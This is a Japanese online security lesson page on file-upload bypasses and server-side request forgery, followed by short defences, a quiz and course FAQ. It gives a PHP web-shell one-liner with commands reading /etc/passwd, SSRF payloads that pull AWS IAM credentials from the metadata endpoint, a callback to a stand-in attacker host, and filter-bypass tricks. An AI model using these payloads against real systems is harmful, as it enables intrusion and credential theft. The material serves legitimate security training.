ファイルアップロードとSSRFの脆弱性
ファイルアップロードの制限を回避し、SSRFを悪用して内部サービスにアクセスし、脆弱性を連鎖させます。
「ファイルアップロードとSSRFの脆弱性」はCoddyKit上の無料Cyber Security Academyレッスンです。 これはレッスン4/4です。 下記で完全なレッスンを無料で読むことができます。その後、ブラウザ内の組み込みコードエディタと24時間対応のAIチューターでハンズオン演習できます。 これはCyber Security Academy学習パスの一部であり、ウェブとCoddyKitアプリ全体で進捗が同期されます。 Cyber Security Academyコースには全4レッスンが含まれています。
ファイルアップロードの脆弱性
ファイルアップロード機能は、Webアプリケーションで最もリスクの高い機能の1つです。検証が不十分だと、実行可能なファイル(PHP、JSP、ASPX)をアップロードでき、サーバーがそれを実行してリモートコード実行につながります。
基本的なアップロードバイパス:拡張子フィルタリング
クライアント側のフィルターやブラックリスト方式の拡張子フィルターは回避できます。二重拡張子(.php.jpg)、大文字と小文字の変化(.PhP)、ヌルバイト(file.php%00.jpg)、代替拡張子(.php5、.phtml、.phar)を試してください。
# Try alternative PHP extensions:
file.php
file.php5
file.phtml
file.phar
file.php.jpg
file.php%00.jpg
file.PhP
# ASP/ASPX alternatives:
file.asp
file.aspx
file.asa
file.cerMIMEタイプのバイパス
サーバーは実際のファイル内容ではなく、Content-Typeヘッダーを確認することがよくあります。Burpでアップロードリクエストをインターセプトし、Content-Typeをapplication/x-phpからimage/jpegに変更してください。
# In Burp Repeater, modify:
Content-Type: image/jpeg
# While keeping the file content as PHP:
<?php system($_GET["cmd"]); ?>マジックバイトのバイパス
一部のサーバーは、ファイルのマジックバイト(ファイルの先頭バイト)を確認します。PHPペイロードの前に有効な画像のマジックバイトを追加すると、実行可能な内容を保ったままチェックを通過できます。
# Prepend JPEG magic bytes:
\xFF\xD8\xFF + PHP payload
# Or add GIF header:
GIF89a
<?php system($_GET["cmd"]); ?>アップロード後のWebシェル
PHP/JSPファイルをアップロードし、URLからアクセスできるようになったら、そのファイルを実行してコマンドを起動します。最も単純なWebシェルは、です。
# Upload this as shell.php:
<?php system($_GET["cmd"]); ?>
# Access via browser:
http://target.com/uploads/shell.php?cmd=id
http://target.com/uploads/shell.php?cmd=whoami
http://target.com/uploads/shell.php?cmd=cat+/etc/passwdSSRFとは何ですか?
サーバーサイド・リクエストフォージェリ(SSRF)は、攻撃者に代わって任意のURLへHTTPリクエストを送信するようサーバーを誘導します。これにより、内部サービス、クラウドのメタデータAPI、内部の管理者用インターフェースにアクセスできます。
SSRFの基本的な検出
URLを受け取るパラメーター(Webhook、プレビューURL、取得エンドポイント、画像URL)を見つけてください。内部アドレスを注入してレスポンスを観察します。タイムアウト、接続拒否、有効なレスポンスの違いから、アクセス可能な対象がわかります。
# Test URL parameters:
?url=http://127.0.0.1/
?url=http://169.254.169.254/ # AWS metadata
?url=http://internal-service:8080/admin
# Burp Collaborator for blind SSRF:
?url=http://your-collaborator-id.oastify.com/SSRFによるAWSメタデータAPIへのアクセス
169.254.169.254にあるAWS Instance Metadata Service(IMDS)は、IAMロールの認証情報を公開します。このエンドポイントへのSSRFによってクラウドの認証情報が漏洩し、アカウントが完全に乗っ取られる可能性があります。
# SSRF payload targeting AWS metadata:
?url=http://169.254.169.254/latest/meta-data/
?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns:
# {"AccessKeyId":"ASIA...", "SecretAccessKey":"..."}ブラインドSSRF
レスポンス本文に結果が反映されない場合は、帯域外の手法を使用します。Burp CollaboratorへのDNSルックアップで接続を確認でき、パスのデータを含むHTTPコールバックで情報を外部へ送信できます。
# Interactsh as alternative to Burp Collaborator:
# https://github.com/projectdiscovery/interactsh
?url=http://attacker.interactsh.com/ssrf-testSSRFのバイパス手法
明らかな内部IPをブロックするフィルターは、IPエンコーディング(10進数の0x7f000001 = 127.0.0.1)、DNSリバインディング、代替ループバックアドレス(127.1、0.0.0.0)、URLリダイレクトによって回避できる場合があります。
# Alternative representations of 127.0.0.1:
http://127.1
http://2130706433 # decimal
http://0x7f000001 # hex
http://0177.0.0.1 # octal
http://localhostファイルアップロードとSSRFへの対策
ファイルアップロード: 安全な拡張子だけを許可リストに登録し、Webルートの外部に保存し、サーバー側でファイル名を変更して、CDN経由で提供してください。SSRF: 許可するURLやIP範囲を許可リストで指定し、不要なURL取得機能を無効にし、AWSではIMDSv2を強制してください。
確認問題
SSRF攻撃でAWSの認証情報を盗むために標的にするIPは何ですか?
まとめ: ファイルアップロードとSSRF
ファイルアップロードの欠陥はリモートコード実行につながり、SSRFは内部ネットワークへのアクセスや認証情報の窃取につながります。アップロードでは、拡張子、MIMEタイプ、マジックバイトのバイパスをテストしてください。URLパラメーターでは、localhost、内部サブネット、クラウドのメタデータAPIを対象にしてSSRFをテストします。どちらにも、ブラックリストではなく許可リスト、ネットワーク分離、クラウドの強化による多層防御が必要です。
AI チューターと学ぶ Cyber Security Academy — 無料
ブラウザでリアルコードを書いて実行し、24/7 の AI チューターから瞬時にサポートを受け、ウェブまたはアプリで続きから学習できます。
- コース
- 76
- レッスン
- 303
よくある質問
「ファイルアップロードとSSRFの脆弱性」レッスンは無料ですか?
はい。「ファイルアップロードとSSRFの脆弱性」の完全なテキストはこのウェブで無料で読めます。インタラクティブに演習し(組み込みコードエディタと24時間対応のAIチューター)、Cyber Security Academyコースの残りをアンロックするには、CoddyKit PROにアップグレードしてください。 Cyber Security Academyコースには全4レッスンが含まれています。
「ファイルアップロードとSSRFの脆弱性」で何を学びますか?
ファイルアップロードの制限を回避し、SSRFを悪用して内部サービスにアクセスし、脆弱性を連鎖させます。 ブラウザで直接実行するハンズオンコードでCyber Security Academyを演習し、24時間対応のAIチューターがレッスンを進める中での質問に答えます。
Cyber Security Academyを始めるのに経験は必要ですか?
事前経験は必要ありません。CoddyKitのCyber Security Academyは初級者から上級者向けに構成されているため、ここから始めるか最初から始めて、自分のペースで進むことができます。 これはレッスン4/4です。
「ファイルアップロードとSSRFの脆弱性」レッスンにはどのくらい時間がかかりますか?
ほとんどのCoddyKitレッスンは約5~10分かかります。各レッスンはコンパクトでインタラクティブなので、着実に進歩し、ウェブとアプリ全体で正確に前回の場所から再開できます。
このCyber Security Academyレッスンでコードを書いて実行できますか?
はい。すべてのCyber Security Academyレッスンに組み込みコードエディタが含まれているため、ブラウザでリアルコードを書いて実行し、即座のAIフィードバックを取得できます。ローカル設定は不要です。
このコースのすべてのレッスン
- Burp Suite Proxyとリクエストのインターセプト
- インジェクション脆弱性のテスト
- 認証とセッションのテスト
- ファイルアップロードとSSRFの脆弱性